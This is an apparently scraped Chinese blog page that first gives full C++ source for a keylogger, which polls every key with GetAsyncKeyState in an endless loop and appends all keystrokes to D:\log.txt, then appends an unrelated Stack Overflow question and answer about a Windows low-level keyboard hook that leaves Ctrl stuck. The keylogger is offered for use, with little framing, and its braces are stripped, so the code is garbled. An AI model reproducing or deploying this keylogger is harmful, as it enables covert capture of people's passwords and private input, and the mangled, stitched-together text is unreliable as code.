c++实现键盘记录仪(键盘钩子)

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了c++实现键盘记录仪(键盘钩子)相关的知识,希望对你有一定的参考价值。

参考技术A 啥都不说,先上源码

#include <windows.h>

#include <Winuser.h>

#include <string>

#include <fstream>

#include <iostream>

using namespace std;

string GetKey(int Key) // 判断键盘按下什么键



string KeyString = "";

//判断符号输入

const int KeyPressMask=0x80000000; //键盘掩码常量

int iShift=GetKeyState(0x10); //判断Shift键状态

bool IS=(iShift & KeyPressMask)==KeyPressMask; //表示按下Shift键

if(Key >=186 && Key <=222)



switch(Key)



case 186:

if(IS)

KeyString = ":";

else

KeyString = ";";

break;

case 187:

if(IS)

KeyString = "+";

else

KeyString = "=";

break;

case 188:

if(IS)

KeyString = "<";

else

KeyString = ",";

break;

case 189:

if(IS)

KeyString = "_";

else

KeyString = "-";

break;

case 190:

if(IS)

KeyString = ">";

else

KeyString = ".";

break;

case 191:

if(IS)

KeyString = "?";

else

KeyString = "/";

break;

case 192:

if(IS)

KeyString = "~";

else

KeyString = "`";

break;

case 219:

if(IS)

KeyString = "";

else

KeyString = "[";

break;

case 220:

if(IS)

KeyString = "|";

else

KeyString = "\\";

break;

case 221:

if(IS)

KeyString = "";

else

KeyString = "]";

break;

case 222:

if(IS)

KeyString = '"';

else

KeyString = "'";

break;





//判断键盘的第一行

if (Key == VK_ESCAPE) // 退出

KeyString = "[Esc]";

else if (Key == VK_F1) // F1至F12

KeyString = "[F1]";

else if (Key == VK_F2)

KeyString = "[F2]";

else if (Key == VK_F3)

KeyString = "[F3]";

else if (Key == VK_F4)

KeyString = "[F4]";

else if (Key == VK_F5)

KeyString = "[F5]";

else if (Key == VK_F6)

KeyString = "[F6]";

else if (Key == VK_F7)

KeyString = "[F7]";

else if (Key == VK_F8)

KeyString = "[F8]";

else if (Key == VK_F9)

KeyString = "[F9]";

else if (Key == VK_F10)

KeyString = "[F10]";

else if (Key == VK_F11)

KeyString = "[F11]";

else if (Key == VK_F12)

KeyString = "[F12]";

else if (Key == VK_SNAPSHOT) // 打印屏幕

KeyString = "[PrScrn]";

else if (Key == VK_SCROLL) // 滚动锁定

KeyString = "[Scroll Lock]";

else if (Key == VK_PAUSE) // 暂停、中断

KeyString = "[Pause]";

else if (Key == VK_CAPITAL) // 大写锁定

KeyString = "[Caps Lock]";

//-------------------------------------//

//控制键

else if (Key == 8) //<- 回格键

KeyString = "[Backspace]";

else if (Key == VK_RETURN) // 回车键、换行

KeyString = "[Enter]\n";

else if (Key == VK_SPACE) // 空格

KeyString = " ";

//上档键:键盘记录的时候,可以不记录。单独的Shift是不会有任何字符,

//上档键和别的键组合,输出时有字符输出

/*

else if (Key == VK_LSHIFT) // 左侧上档键

KeyString = "[Shift]";

else if (Key == VK_LSHIFT) // 右侧上档键

KeyString = "[SHIFT]";

*/

/*如果只是对键盘输入的字母进行记录:可以不让以下键输出到文件*/

else if (Key == VK_TAB) // 制表键

KeyString = "[Tab]";

else if (Key == VK_LCONTROL) // 左控制键

KeyString = "[Ctrl]";

else if (Key == VK_RCONTROL) // 右控制键

KeyString = "[CTRL]";

else if (Key == VK_LMENU) // 左换档键

KeyString = "[Alt]";

else if (Key == VK_LMENU) // 右换档键

KeyString = "[ALT]";

else if (Key == VK_LWIN) // 右 WINDOWS 键

KeyString = "[Win]";

else if (Key == VK_RWIN) // 右 WINDOWS 键

KeyString = "[WIN]";

else if (Key == VK_APPS) // 键盘上 右键

KeyString = "右键";

else if (Key == VK_INSERT) // 插入

KeyString = "[Insert]";

else if (Key == VK_DELETE) // 删除

KeyString = "[Delete]";

else if (Key == VK_HOME) // 起始

KeyString = "[Home]";

else if (Key == VK_END) // 结束

KeyString = "[End]";

else if (Key == VK_PRIOR) // 上一页

KeyString = "[PgUp]";

else if (Key == VK_NEXT) // 下一页

KeyString = "[PgDown]";

// 不常用的几个键:一般键盘没有

else if (Key == VK_CANCEL) // Cancel

KeyString = "[Cancel]";

else if (Key == VK_CLEAR) // Clear

KeyString = "[Clear]";

else if (Key == VK_SELECT) //Select

KeyString = "[Select]";

else if (Key == VK_PRINT) //Print

KeyString = "[Print]";

else if (Key == VK_EXECUTE) //Execute

KeyString = "[Execute]";

//----------------------------------------//

else if (Key == VK_LEFT) //上、下、左、右键

KeyString = "[←]";

else if (Key == VK_RIGHT)

KeyString = "[→]";

else if (Key == VK_UP)

KeyString = "[↑]";

else if (Key == VK_DOWN)

KeyString = "[↓]";

else if (Key == VK_NUMLOCK)//小键盘数码锁定

KeyString = "[NumLock]";

else if (Key == VK_ADD) // 加、减、乘、除

KeyString = "+";

else if (Key == VK_SUBTRACT)

KeyString = "-";

else if (Key == VK_MULTIPLY)

KeyString = "*";

else if (Key == VK_DIVIDE)

KeyString = "/";

else if (Key == 190 || Key == 110) // 小键盘 . 及键盘 .

KeyString = ".";

//小键盘数字键:0-9

else if (Key == VK_NUMPAD0)

KeyString = "0";

else if (Key == VK_NUMPAD1)

KeyString = "1";

else if (Key == VK_NUMPAD2)

KeyString = "2";

else if (Key == VK_NUMPAD3)

KeyString = "3";

else if (Key == VK_NUMPAD4)

KeyString = "4";

else if (Key == VK_NUMPAD5)

KeyString = "5";

else if (Key == VK_NUMPAD6)

KeyString = "6";

else if (Key == VK_NUMPAD7)

KeyString = "7";

else if (Key == VK_NUMPAD8)

KeyString = "8";

else if (Key == VK_NUMPAD9)

KeyString = "9";

//-------------------------------------------//

//-------------------------------------------//

//*对字母的大小写进行判断*//

else if (Key >=97 && Key <= 122) // 字母:a-z



if (GetKeyState(VK_CAPITAL)) // 大写锁定



if(IS) //Shift按下:为小写字母

KeyString = Key;

else // 只有大写锁定:输出大写字母

KeyString = Key - 32;



else// 大写没有锁定



if(IS) // 按下Shift键: 大写字母

KeyString = Key - 32;

else // 没有按Shift键: 小写字母

KeyString = Key;





else if (Key >=48 && Key <= 57) // 键盘数字:0-9及上方的符号



if(IS)



switch(Key)



case 48: //0

KeyString = ")";

break;

case 49://1

KeyString = "!";

break;

case 50://2

KeyString = "@";

break;

case 51://3

KeyString = "#";

break;

case 52://4

KeyString = "$";

break;

case 53://5

KeyString = "%";

break;

case 54://6

KeyString = "^";

break;

case 55://7

KeyString = "&";

break;

case 56://8

KeyString = "*";

break;

case 57://9

KeyString = "(";

break;





else

KeyString = Key;



if (Key != VK_LBUTTON || Key != VK_RBUTTON)



if (Key >=65 && Key <=90) //ASCII 65-90 为A-Z



if (GetKeyState(VK_CAPITAL)) // 大写锁定:输出A-Z



if(IS) // 大写锁定,并且按下上档键:输出为小写字母

KeyString = Key + 32;

else //只有大写锁定:输出为大写字母

KeyString = Key;



else // 大写没有锁定:a-z



if(IS)



KeyString = Key;



else



Key = Key + 32;

KeyString = Key;









return KeyString;



int  main()



string Filename = "D:\\log.txt";//倒出记录文本存在D盘log.txt目录下

string TempString = "";

fstream FStream;

cout<<"现在开始键盘记录";

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);

while(true)



Sleep(5);

for(int i = 8; i <=255; i++)



if(GetAsyncKeyState(i)&1 ==1)



TempString = GetKey (i);

FStream.write(TempString.c_str(), TempString.size());

FStream.close();

FStream.open(Filename.c_str(), std::fstream::out | std::fstream::app);







C++ 键盘钩子 CTRL 键卡住

【中文标题】C++ 键盘钩子 CTRL 键卡住【英文标题】:C++ keyboard hook CTRL key gets stuck 【发布时间】:2020-05-07 06:20:40 【问题描述】:

我希望在我的 Windows 10 机器上重写 ctrl+cctrl+v 以添加一些额外的功能。

我能够正确复制和粘贴,并且在按下这些键后成功创建了一个键盘挂钩来执行我的代码,但是在我的程序运行时按 ctrl 后我遇到了问题运行时,ctrl 会持续动作,就好像它被按住一样。即使在我完全终止程序之后,ctrl 仍会继续执行,就好像它被按住一样,直到我完全退出计算机。我能做些什么来纠正这个问题?

谢谢!

编辑:经过一番折腾,我可以断定任何键都卡住了。 Shift 和大写锁定也会卡住。

#include <Windows.h>
#include <stdio.h>
#include <queue>

using namespace std;

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
    if (wParam == WM_KEYDOWN) 
        if (p->vkCode == 0x43 && GetKeyState(VK_CONTROL) & 0x8000)  // ctrl-c is pressed
            WM_COPY;
        
        else if (p->vkCode == 0x56 && GetKeyState(VK_CONTROL) & 0x8000)  // ctrl-v is pressed
            OpenClipboard(NULL);
            char* buffer;
            buffer = (char*)GetClipboardData(CF_TEXT);
            CloseClipboard();
            cout << buffer;
        
        return CallNextHookEx(NULL, nCode, wParam, lParam);
    


int main()

    HHOOK keyBoard = SetWindowsHookEx(WH_KEYBOARD_LL, KeyboardProc, NULL, NULL);
    MSG msg;

    while (!GetMessage(&msg, NULL, NULL, NULL)) 
        TranslateMessage(&msg);
        DispatchMessage(&msg);
    
    UnhookWindowsHookEx(keyBoard);

【问题讨论】:

你的编译器警告你,并不是你的钩子过程的所有控制路径都返回一个值。这些警告可以帮助您。不要忽视它们。 附带说明,您对GetClipboardData() 的使用完全错误。返回值是剪贴板拥有的可移动内存的HANDLE,你不能像你一样只是类型转换它,你必须使用GlobalLock()。而且无论哪种方式,调用CloseClipboard()后都无法访问数据,需要在关闭剪贴板之前复制数据。 【参考方案1】:

不要将return CallNextHookEx(NULL, nCode, wParam, lParam) 放入if (wParam == WM_KEYDOWN)

修改:

LRESULT CALLBACK KeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) 
    PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT)lParam;
    if (wParam == WM_KEYDOWN) 
        if (p->vkCode == 0x43 && GetKeyState(VK_CONTROL) & 0x8000)  // ctrl-c is pressed
            WM_COPY;
        
        else if (p->vkCode == 0x56 && GetKeyState(VK_CONTROL) & 0x8000)  // ctrl-v is pressed
            OpenClipboard(NULL);
            char* buffer;
            buffer = (char*)GetClipboardData(CF_TEXT);
            CloseClipboard();
            cout << buffer;
        

    
    return CallNextHookEx(NULL, nCode, wParam, lParam);

【讨论】:

以上是关于c++实现键盘记录仪(键盘钩子)的主要内容,如果未能解决你的问题,请参考以下文章

delphi键盘钩子没效果

VC 键盘钩子问题

键盘钩子怎么 使用

C# WinForm键盘钩子

delphi 键盘全局钩子

键盘钩子失灵